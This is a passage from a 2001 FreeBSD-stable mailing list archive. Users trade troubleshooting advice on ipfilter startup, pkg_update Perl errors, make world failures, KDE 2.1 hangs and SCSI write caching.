kernel) to # avoid a warning about "already initialized" I load ipf as a module by adding a line to /boot/loader.conf: ipl_load="YES" Running a GENERIC kernel. I have a valid rules file at /etc/ipf.rules I add the following line to /etc/rc.conf: ipfilter_enable="YES" and when I boot I get... from dmesg: IP Filter: v3.4.16 initialized. Default = pass all, Logging = enabled from /var/log/console.log: Mar 13 19:32:59 port /kernel: Doing initial network setup: Mar 13 19:32:59 port /kernel: hostname Mar 13 19:32:59 port /kernel: ipfilter Mar 13 19:32:59 port /kernel: SIOCFRENB: Invalid argument Mar 13 19:32:59 port /kernel: . Mar 13 19:32:59 port /kernel: fxp0: flags=8843; Wed, 14 Mar 2001 03:45:46 -0800 (PST) (envelope-from m_ilya@agava.com) Received: from relay2.agava.net.ru (unknown [193.125.142.2]) by unity.agava.ru (Postfix) with ESMTP id 171A427E704; Wed, 14 Mar 2001 14:45:37 +0300 (MSK) Received: from gw.office.agava.ru (2.oivt.mipt.ru [193.125.142.2]) by relay2.agava.net.ru (Postfix) with ESMTP id 86E11434D4; Wed, 14 Mar 2001 14:44:20 +0300 (MSK) Received: from juil.domain (juil.domain [192.168.1.50]) by gw.office.agava.ru (Postfix) with ESMTP id 56F965EA4; Wed, 14 Mar 2001 14:44:20 +0300 (MSK) Received: by juil.domain (Postfix, from userid 1001) id 86B4C3FD; Wed, 14 Mar 2001 14:43:33 +0300 (MSK) To: mistral@imasy.or.jp (Yoshihiko SARUMARU) Cc: stable@FreeBSD.org Subject: Re: pkg_update: warnings.pl wants to be MFC'ed References: <010314201051.M0152715@mistral.imasy.or.jp> From: Ilya Martynov Date: 14 Mar 2001 14:43:32 +0300 In-Reply-To: <010314201051.M0152715@mistral.imasy.or.jp> Message-ID: <8666hc1spn.fsf@juil.domain> Lines: 25 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "YS" == Yoshihiko SARUMARU writes: YS> Hi all, YS> I'm using 4.3-BETA on March 6. YS> Today I want to use pkg_update for a first time, but it wouldn't YS> work at all. YS> Who is forgetting to MFC src/contrib/perl5/warnings.pl ? YS> mistral% pkg_update YS> Can't locate warnings.pm in @INC (@INC contains: /usr/libdata/perl/5.00503/mach /usr/libdata/perl/5.00503 /usr/local/lib/perl5/site_perl/5.005/i386-freebsd /usr/local/lib/perl5/site_perl/5.005 .) at /usr/sbin/pkg_update line 32. YS> BEGIN failed--compilation aborted at /usr/sbin/pkg_update line 32. warnings.pl shouldn't be MFC'ed. Instead pkg_update needs some patching. See PR I've submited: http://www.freebsd.org/cgi/query-pr.cgi?pr=25302 BTW I really wonder if someone is going to fix pkg_update.pl. Fix is so trivial but it already passed almost one month since pr with it was submited. Does anybody want to review it and checkin it into CVS? -- Ilya Martynov AGAVA Software Company, http://www.agava.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 4: 1: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns5.sony.co.jp (ns5.Sony.CO.JP [202.238.80.5]) by hub.freebsd.org (Postfix) with ESMTP id 7729D37B718; Wed, 14 Mar 2001 04:01:00 -0800 (PST) (envelope-from mistral@imasy.or.jp) Received: from mail2.sony.co.jp (gatekeeper8.Sony.CO.JP [202.238.80.22]) by ns5.sony.co.jp (R8) with ESMTP id f2EC0x317584; Wed, 14 Mar 2001 21:00:59 +0900 (JST) Received: from mail2.sony.co.jp (localhost [127.0.0.1]) by mail2.sony.co.jp (R8) with ESMTP id f2EC0xY17748; Wed, 14 Mar 2001 21:00:59 +0900 (JST) Received: from mistral.imasy.or.jp ([43.1.172.41]) by mail2.sony.co.jp (R8) with ESMTP id f2EC0xv17744; Wed, 14 Mar 2001 21:00:59 +0900 (JST) Received: (from yohta@localhost) by mistral.imasy.or.jp (8.11.3/3.7Wpl2-010215) id f2EC0vg57742; Wed, 14 Mar 2001 21:00:57 +0900 (JST) From: mistral@imasy.or.jp (Yoshihiko SARUMARU) To: stable@FreeBSD.org Cc: paul@FreeBSD.org Subject: Re: pkg_update: warnings.pl wants to be MFC'ed In-Reply-To: Your message of "14 Mar 2001 14:43:32 +0300". <8666hc1spn.fsf@juil.domain> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-Mailer: mnews [version 1.22PL5] 2001-02/07(Wed) Date: Wed, 14 Mar 2001 21:00:56 +0900 Message-ID: <010314210056.M0157727@mistral.imasy.or.jp> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG m_ilya@agava.com wrote: > >>>>> "YS" == Yoshihiko SARUMARU writes: > > YS> Hi all, > YS> I'm using 4.3-BETA on March 6. > YS> Today I want to use pkg_update for a first time, but it wouldn't > YS> work at all. > > YS> Who is forgetting to MFC src/contrib/perl5/warnings.pl ? > > YS> mistral% pkg_update > YS> Can't locate warnings.pm in @INC (@INC contains: /usr/libdata/perl/5.00503/mach /usr/libdata/perl/5.00503 /usr/local/lib/perl5/site_perl/5.005/i386-freebsd /usr/local/lib/perl5/site_perl/5.005 .) at /usr/sbin/pkg_update line 32. > YS> BEGIN failed--compilation aborted at /usr/sbin/pkg_update line 32. > > warnings.pl shouldn't be MFC'ed. Instead pkg_update needs some > patching. See PR I've submited: > > http://www.freebsd.org/cgi/query-pr.cgi?pr=25302 I see, warning.pl is just a part of Perl 5.6 ? > BTW I really wonder if someone is going to fix pkg_update.pl. Fix is > so trivial but it already passed almost one month since pr with it was > submited. Does anybody want to review it and checkin it into CVS? PR tell me Paul is responsible for this issue (by Kris). Hey Paul, can I use fancy pkg_update in 4.3-RELEASE ? -- Yoshihiko SARUMARU mail: mistral@imasy.or.jp web: http://www.imasy.or.jp/~mistral/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 4: 8:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from unity.agava.ru (unity.agava.ru [213.59.3.227]) by hub.freebsd.org (Postfix) with ESMTP id 4A9AD37B718; Wed, 14 Mar 2001 04:08:32 -0800 (PST) (envelope-from m_ilya@agava.com) Received: from relay2.agava.net.ru (unknown [193.125.142.2]) by unity.agava.ru (Postfix) with ESMTP id 5DBC727E6F2; Wed, 14 Mar 2001 15:08:28 +0300 (MSK) Received: from gw.office.agava.ru (2.oivt.mipt.ru [193.125.142.2]) by relay2.agava.net.ru (Postfix) with ESMTP id 1DC18434D4; Wed, 14 Mar 2001 15:07:13 +0300 (MSK) Received: from juil.domain (juil.domain [192.168.1.50]) by gw.office.agava.ru (Postfix) with ESMTP id DE4BD5EA4; Wed, 14 Mar 2001 15:07:12 +0300 (MSK) Received: by juil.domain (Postfix, from userid 1001) id 3A7953FD; Wed, 14 Mar 2001 15:06:27 +0300 (MSK) To: mistral@imasy.or.jp (Yoshihiko SARUMARU) Cc: stable@FreeBSD.org, paul@FreeBSD.org Subject: Re: pkg_update: warnings.pl wants to be MFC'ed References: <010314210056.M0157727@mistral.imasy.or.jp> From: Ilya Martynov Date: 14 Mar 2001 15:06:26 +0300 In-Reply-To: <010314210056.M0157727@mistral.imasy.or.jp> Message-ID: <86wv9szha5.fsf@juil.domain> Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "YS" == Yoshihiko SARUMARU writes: >> warnings.pl shouldn't be MFC'ed. Instead pkg_update needs some >> patching. See PR I've submited: >> >> http://www.freebsd.org/cgi/query-pr.cgi?pr=25302 YS> I see, warning.pl is just a part of Perl 5.6 ? Right. Also pkg_update uses keyword 'our' which works only in Perl 5.6 too. My patch fixes both problems. -- Ilya Martynov AGAVA Software Company, http://www.agava.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 4:20:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 0F8E637B718 for ; Wed, 14 Mar 2001 04:20:32 -0800 (PST) (envelope-from krion%ponomare@uni-duesseldorf.de) Received: from ponomare@uni-duesseldorf.de (pc.unistrasse-1.uni-duesseldorf.de [134.99.26.17]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0GA6008K8SY5K0@neptun.rz.uni-duesseldorf.de> for freebsd-stable@freebsd.org; Wed, 14 Mar 2001 13:20:29 +0100 (MET) Received: (from krion@localhost) by ponomare@uni-duesseldorf.de (8.11.2/8.11.2) id f2ECKR308586 for freebsd-stable@freebsd.org; Wed, 14 Mar 2001 13:20:27 +0100 (CET envelope-from krion) Date: Wed, 14 Mar 2001 13:20:27 +0100 From: Kirill Ponomarew Subject: error during make world To: freebsd-stable@freebsd.org Mail-Followup-To: Kirill Ponomarew , freebsd-stable@freebsd.org Message-id: <20010314132026.A8543@uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: Mutt 1.2.5i Content-type: text/plain; charset=us-ascii Content-disposition: inline Content-transfer-encoding: 7BIT User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.2-STABLE Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I tried to make world one hour ago and got error message: ===> lib/libcom_err/doc install-info --quiet --defsection="Programming & development tools." --defentry="* libcom_err: (com_err). A Common Error Description Library for UNIX." com_err.info /usr/share/info/dir install -c -o root -g wheel -m 444 com_err.info.gz /usr/share/info ===> lib/libcrypt install -c -o root -g wheel -m 444 libscrypt.a /usr/lib install -c -o root -g wheel -m 444 libscrypt_p.a /usr/lib install -c -s -o root -g wheel -m 444 -fschg libscrypt.so.2 /usr/lib ln -sf libscrypt.so.2 /usr/lib/libscrypt.so install -c -o root -g wheel -m 444 crypt.3.gz /usr/share/man/man3 /usr/share/man/man3/crypt_get_format.3.gz -> /usr/share/man/man3/crypt.3.gz /usr/share/man/man3/crypt_set_format.3.gz -> /usr/share/man/man3/crypt.3.gz rm: libcrypt.so.2: Operation not permitted *** Error code 1 Stop in /usr/src/lib/libcrypt. *** Error code 1 -- Kirill Ponomarew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 4:33:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from femail10.sdc1.sfba.home.com (femail10.sdc1.sfba.home.com [24.0.95.106]) by hub.freebsd.org (Postfix) with ESMTP id 3035D37B718 for ; Wed, 14 Mar 2001 04:33:56 -0800 (PST) (envelope-from graywane@home.com) Received: from cg392862-a.adubn1.nj.home.com ([65.2.79.221]) by femail10.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with ESMTP id <20010314123355.IZFQ20650.femail10.sdc1.sfba.home.com@cg392862-a.adubn1.nj.home.com>; Wed, 14 Mar 2001 04:33:55 -0800 Received: (from graywane@localhost) by cg392862-a.adubn1.nj.home.com (8.11.3/8.11.2) id f2ECXsh04101; Wed, 14 Mar 2001 07:33:54 -0500 (EST) (envelope-from graywane) Date: Wed, 14 Mar 2001 07:33:54 -0500 From: Graywane To: Mike Harding Cc: zingelman@fnal.gov, stable@FreeBSD.ORG Subject: Re: /etc/default/rc.conf bad default ipfilter_flags? Message-ID: <20010314073354.A4019@home.com> References: <20010314113640.741AF1140FC@netcom1.netcom.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="8t9RHnE3ZwKMSgU+" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010314113640.741AF1140FC@netcom1.netcom.com>; from mvh@ix.netcom.com on Wed, Mar 14, 2001 at 03:36:40AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --8t9RHnE3ZwKMSgU+ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Mar 14, 2001 at 03:36:40AM -0800, Mike Harding wrote: > I can confirm that the "-E" seems to be unecessary for both kernel and > kernel module loads. I agree. > I can also confirm that ppp does not play well with ipfilter because > ipfilter needs a 'ipf -y' to pick up the dynamically configured > interfaces - it's set up before these interfaces exist, so that any > rules applying to them don't work! I stick a 'ipf -y' near the end of > pass 1 in /etc/rc.network but this is my local hack. Really? On my OpenBSD machine ipfilter doesn't seem to have a problem with ppp. Perhaps they have an ipf -y somewhere in the startup files but I didn't think so. I'll check it out. --8t9RHnE3ZwKMSgU+ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqvZTIACgkQeHdFaBWUGN3ugQCfVeHpLtWh9Cun0GMKvdCi3fp/ Xq0AoICsBj+joonAaMt6F3x14CX7RPvo =63jr -----END PGP SIGNATURE----- --8t9RHnE3ZwKMSgU+-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5: 2: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from blake.arcadia.spb.ru (ns.arcadia.spb.ru [212.119.177.2]) by hub.freebsd.org (Postfix) with ESMTP id 93A3C37B719 for ; Wed, 14 Mar 2001 05:01:59 -0800 (PST) (envelope-from Lev.Serebryakov@arcadia.spb.ru) Received: from anti.arcadia.spb.ru (anti.arcadia.spb.ru [212.119.177.3] (may be forged)) by blake.arcadia.spb.ru (8.9.2/8.8.6) with SMTP id QAA69277 for ; Wed, 14 Mar 2001 16:24:56 +0300 (MSK) Received: from LEV ([172.16.16.85]:2634) (HELO dhcp85.arcadia.intranet) by anti.arcadia.spb.ru ([212.119.177.3]:25) (F-Secure Anti-Virus for Internet Mail 5.0.53 Release) with SMTP; Wed, 14 Mar 2001 12:52:42 -0000 Date: Wed, 14 Mar 2001 16:02:11 +0300 From: Lev Serebryakov X-Mailer: The Bat! (v1.46d) Personal Reply-To: Lev Serebryakov Organization: Arcadia, Inc. X-Priority: 3 (Normal) Message-ID: <9085000604.20010314160211@arcadia.spb.ru> To: All Subject: Could not compile program with perl extensions on 4.2-STABLE? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello All, May be, it is wrong list for this question. But problem is appeared on FreeBSD 4.2-STABLE, and everything works Ok on other systems (Win32, some SunOs). I try to write simple program, which could call perl hooks, and export some API to perl for this hooks. My init_xs() function is standard: EXTERN_C void boot_DynaLoader (CV* cv); EXTERN_C void xs_init(pTHX) { char *file = __FILE__; /* Special case */ newXS("DynaLoader::boot_DynaLoader", boot_DynaLoader, file); /* My API */ /* Skipped */ } On link stage I've got next message: %gcc -o prog `perl -MExtUtils::Embed -e ldopts` prog.o prog.o: In function `xs_init': prog.o(.text+0x275): undefined reference to `boot_DynaLoader' Ok, but `perl -MExtUtils::Embed -e ldopts` contains DynaLoader.a: Wl,-R/usr/lib -Wl,-E -lperl -lm \ /usr/libdata/perl/5.00503/mach/auto/DynaLoader/DynaLoader.a \ -L/usr/libdata/perl/5.00503/mach/CORE -lperl -lm -lc -lcrypt -lperl -lm And /usr/libdata/perl/5.00503/mach/auto/DynaLoader/DynaLoader.a contains boot_DynaLoader: strings /usr/libdata/perl/5.00503/mach/auto/DynaLoader/DynaLoader.a | grep boot_DynaLoader boot_DynaLoader boot_DynaLoader -- Best regards, Lev mailto:Lev.Serebryakov@arcadia.spb.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5:10:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from solaris.matti.ee (solaris.matti.ee [194.126.98.135]) by hub.freebsd.org (Postfix) with ESMTP id 801D637B719 for ; Wed, 14 Mar 2001 05:10:11 -0800 (PST) (envelope-from vallo@myhakas.matti.ee) Received: from myhakas.matti.ee (myhakas.matti.ee [194.126.114.87]) by solaris.matti.ee (Postfix) with ESMTP id 21DA52CE87; Wed, 14 Mar 2001 15:09:59 +0200 (EET) Received: (from vallo@localhost) by myhakas.matti.ee (8.11.3/8.11.3) id f2EDA4O00633; Wed, 14 Mar 2001 15:10:04 +0200 (EET) (envelope-from vallo) Date: Wed, 14 Mar 2001 15:10:04 +0200 From: Vallo Kallaste To: Mark Ibell Cc: stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010314151004.A391@myhakas.matti.ee> Reply-To: vallo@matti.ee References: <200103131007.f2DA73h54023@mobile.wemm.org> <01f001c0abaa$133e1680$4500a8c0@nomad> <20010313032635.Q29888@fw.wintelcom.net> <3AAF4DA0.C8DA9485@paradise.net.nz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.14i-ja0 In-Reply-To: <3AAF4DA0.C8DA9485@paradise.net.nz>; from marki@paradise.net.nz on Wed, Mar 14, 2001 at 11:53:20PM +1300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 11:53:20PM +1300, Mark Ibell wrote: > What doesn't appear to have been mentioned is how exactly do we turn off > write caching on SCSI drives. From poking around the best I could work > out was to run 'camcontrol modepage da0 -m 0x08 -e -P 3' and set WCE to > 0 where 0x08 comes from /usr/share/misc/scsi_modes. > > Is this the correct way to do it? > Also, is it okay to leave tagged queuing enabled? (I'm really starting > to get paranoid after all this discussion!) Don't forget the SCSI controller, at least Adaptec has WCE bit enable/disable toggleable flag in the BIOS. When somebody had it set, your change will be clobbered on the next reboot. -- Vallo Kallaste vallo@matti.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5:21: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 126E137B718 for ; Wed, 14 Mar 2001 05:21:04 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: (qmail 13540 invoked from network); 14 Mar 2001 13:14:55 -0000 Received: from acs-24-154-53-165.zoominternet.net (HELO cvzoom.net) (24.154.53.165) by scully.zoominternet.net with SMTP; 14 Mar 2001 13:14:55 -0000 Message-ID: <3AAF703E.8AB0344D@cvzoom.net> Date: Wed, 14 Mar 2001 08:21:02 -0500 From: Donn Miller X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Kirill Ponomarew Cc: freebsd-stable@freebsd.org Subject: Re: error during make world References: <20010314132026.A8543@uni-duesseldorf.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Kirill Ponomarew wrote: > rm: libcrypt.so.2: Operation not permitted > *** Error code 1 > > Stop in /usr/src/lib/libcrypt. > *** Error code 1 What does sysctl kern.securelevel say? It should probably be -1 in order to complete the installworld. If it isn't, change the value in /etc/rc.conf, reboot, and try again. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5:26:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cicero2.cybercity.dk (cicero2.cybercity.dk [212.242.40.53]) by hub.freebsd.org (Postfix) with ESMTP id 6D4AC37B719 for ; Wed, 14 Mar 2001 05:26:49 -0800 (PST) (envelope-from mekanix@vip.cybercity.dk) Received: from usr04.cybercity.dk (usr04.cybercity.dk [212.242.40.36]) by cicero2.cybercity.dk (Postfix) with ESMTP id DE1C0FFF71; Wed, 14 Mar 2001 14:26:45 +0100 (CET) Received: from mekanix.home (port12.cvx1-ro.ppp.cybercity.dk [212.242.169.13]) by usr04.cybercity.dk (8.9.3/8.9.3) with SMTP id OAA90178; Wed, 14 Mar 2001 14:26:31 +0100 (CET) (envelope-from mekanix@vip.cybercity.dk) Message-Id: <200103141326.OAA90178@usr04.cybercity.dk> Date: Wed, 14 Mar 2001 14:24:22 +0100 From: Bjarne Wichmann Petersen To: Irvine Short Cc: freebsd-stable@FreeBSD.ORG Subject: Re: KDE 2.1 In-Reply-To: <3AAF315A.2AD1E46F@sanbi.ac.za> References: <3AAF315A.2AD1E46F@sanbi.ac.za> X-Mailer: Sylpheed version 0.4.61 (GTK+ 1.2.9; FreeBSD 4.2-STABLE; i386) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 14 Mar 2001 10:52:42 +0200 Irvine Short wrote: > It now compiles straight out of the box, thanks for all the work guys! > Now though it hangs a long time on "initialising peripherals" and then > gives me a plain grey screen. > Anyone using it seccuessfully on FreeBSD? > I'm running 4.3-BETA from yesterday. Try this: Remove 'X-KDE-Init=style' from /usr/local/share/applnk/Settings/LookNFeel/style.desktop And keep your hands away from Styles. It's reported as bug #21123 at KDE. Bjarne To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5:29:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 4DFF837B718 for ; Wed, 14 Mar 2001 05:29:56 -0800 (PST) (envelope-from krion%ponomare@uni-duesseldorf.de) Received: from ponomare@uni-duesseldorf.de (pc.unistrasse-1.uni-duesseldorf.de [134.99.26.17]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0GA600H8EW5UPH@neptun.rz.uni-duesseldorf.de> for freebsd-stable@FreeBSD.ORG; Wed, 14 Mar 2001 14:29:54 +0100 (MET) Received: (from krion@localhost) by ponomare@uni-duesseldorf.de (8.11.2/8.11.2) id f2EDTqD08915; Wed, 14 Mar 2001 14:29:52 +0100 (CET envelope-from krion) Date: Wed, 14 Mar 2001 14:29:52 +0100 From: Kirill Ponomarew Subject: Re: error during make world In-reply-to: <3AAF703E.8AB0344D@cvzoom.net>; from dmmiller@cvzoom.net on Wed, Mar 14, 2001 at 08:21:02AM -0500 To: Donn Miller Cc: freebsd-stable@FreeBSD.ORG Mail-Followup-To: Kirill Ponomarew , Donn Miller , freebsd-stable@FreeBSD.ORG Message-id: <20010314142951.A8873@uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: Mutt 1.2.5i Content-type: text/plain; charset=us-ascii Content-disposition: inline Content-transfer-encoding: 7BIT User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.2-STABLE References: <20010314132026.A8543@uni-duesseldorf.de> <3AAF703E.8AB0344D@cvzoom.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 08:21:02AM -0500, Donn Miller wrote: > What does sysctl kern.securelevel say? It should probably be -1 in > order to complete the installworld. If it isn't, change the value in > /etc/rc.conf, reboot, and try again. sure it's -1. The problem was that I run make world from -CURRENT and libcrypt.so.2 had immutable flag. -- Kirill Ponomarew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5:40:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.236.200]) by hub.freebsd.org (Postfix) with ESMTP id BEC6C37B71B for ; Wed, 14 Mar 2001 05:40:48 -0800 (PST) (envelope-from allbery@ece.cmu.edu) Received: from pyanfar.ece.cmu.edu (lhxgqo@DYN-76-70.WV.CC.CMU.EDU [128.2.76.70]) (authenticated) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f2EDe2r19836; Wed, 14 Mar 2001 08:40:02 -0500 (EST) Date: Wed, 14 Mar 2001 08:42:42 -0500 From: "Brandon S. Allbery KF8NH" To: Irvine Short , freebsd-stable@FreeBSD.ORG Subject: Re: KDE 2.1 Message-ID: <16650000.984577362@pyanfar.ece.cmu.edu> In-Reply-To: <3AAF315A.2AD1E46F@sanbi.ac.za> X-Mailer: Mulberry/2.0.6 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, March 14, 2001 10:52:42 +0200, Irvine Short wrote: +----- | It now compiles straight out of the box, thanks for all the work guys! | | Now though it hangs a long time on "initialising peripherals" and then | gives me a plain grey screen. | | Anyone using it seccuessfully on FreeBSD? +--->8 I just built it... well, "just" meaning "it was compiling from Saturday morning until the middle of yesterday on my ancient dual-P200. I had similar hanging symptoms (kdeinit crashed, aborting startup) until I went back and rebuilt libpng. You might check to see if you have a kdeinit.core and a stack backtrace shows it dying in the PNG routines. -- brandon s. allbery [os/2][linux][solaris][japh] allbery@kf8nh.apk.net system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering KF8NH carnegie mellon university ["better check the oblivious first" -ke6sls] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5:47:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vexpert.dbai.tuwien.ac.at (vexpert.dbai.tuwien.ac.at [128.130.111.12]) by hub.freebsd.org (Postfix) with ESMTP id A442937B718 for ; Wed, 14 Mar 2001 05:47:56 -0800 (PST) (envelope-from pfeifer@dbai.tuwien.ac.at) Received: from taygeta (taygeta [128.130.111.77]) by vexpert.dbai.tuwien.ac.at (8.11.1/8.11.1) with ESMTP id f2EDlse02510 for ; Wed, 14 Mar 2001 14:47:55 +0100 (MET) Date: Wed, 14 Mar 2001 14:47:55 +0100 (CET) From: Gerald Pfeifer To: Subject: MFC: src/sys/i386/conf/GENERIC and sound support In-Reply-To: <20001228132307.I94738@stat.Duke.EDU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I noticed that this still hasn't been MFCed, even though it makes a lot of sense for regular users (that is, those that do not recompile their kernel regularily): revision 1.289 date: 2000/11/14 01:11:13; author: jkh; state: Exp; lines: +4 -1 In the year 2000, I think it's perfectly reasonable to include audio support by default in GENERIC. Plus, I have been told by an anonymous lurker that I should push for snd0 being part of the std set in MAKEDEV too. Gerald -- Gerald "Jerry" pfeifer@dbai.tuwien.ac.at http://www.dbai.tuwien.ac.at/~pfeifer/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 5:58:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aslan.scsiguy.com (aslan.scsiguy.com [63.229.232.106]) by hub.freebsd.org (Postfix) with ESMTP id AF91A37B718 for ; Wed, 14 Mar 2001 05:58:16 -0800 (PST) (envelope-from gibbs@scsiguy.com) Received: from scsiguy.com (localhost [127.0.0.1]) by aslan.scsiguy.com (8.11.2/8.9.3) with ESMTP id f2EDw8s71740; Wed, 14 Mar 2001 06:58:09 -0700 (MST) (envelope-from gibbs@scsiguy.com) Message-Id: <200103141358.f2EDw8s71740@aslan.scsiguy.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Jordan Hubbard Cc: stable@freebsd.org Subject: Re: Uh oh. Looks like something broke with the AHC driver.. In-Reply-To: Your message of "Wed, 14 Mar 2001 01:31:16 PST." <20010314013116G.jkh@osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Mar 2001 06:58:08 -0700 From: "Justin T. Gibbs" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I'm just testing the 4.3-BETA2 on my standard scratchbox (a dual PIII/500 >with two 9.1GB Quantum drives) and with the latest BETA build, I'm >seeing an unusual problem during extraction of the distribution bits: A dmesg from the affected system would be a good start. I you have a serial console cable and can use it to catch the full output of from the driver, I can probably pin this down very quickly. As it stands now, I don't even know which of the many controllers the driver supports that you have in your machine. -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 6: 1:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aslan.scsiguy.com (aslan.scsiguy.com [63.229.232.106]) by hub.freebsd.org (Postfix) with ESMTP id B1F5837B719 for ; Wed, 14 Mar 2001 06:01:31 -0800 (PST) (envelope-from gibbs@scsiguy.com) Received: from scsiguy.com (localhost [127.0.0.1]) by aslan.scsiguy.com (8.11.2/8.9.3) with ESMTP id f2EE1Ks71771; Wed, 14 Mar 2001 07:01:20 -0700 (MST) (envelope-from gibbs@scsiguy.com) Message-Id: <200103141401.f2EE1Ks71771@aslan.scsiguy.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: "Andrew Reilly" Cc: Jordan Hubbard , 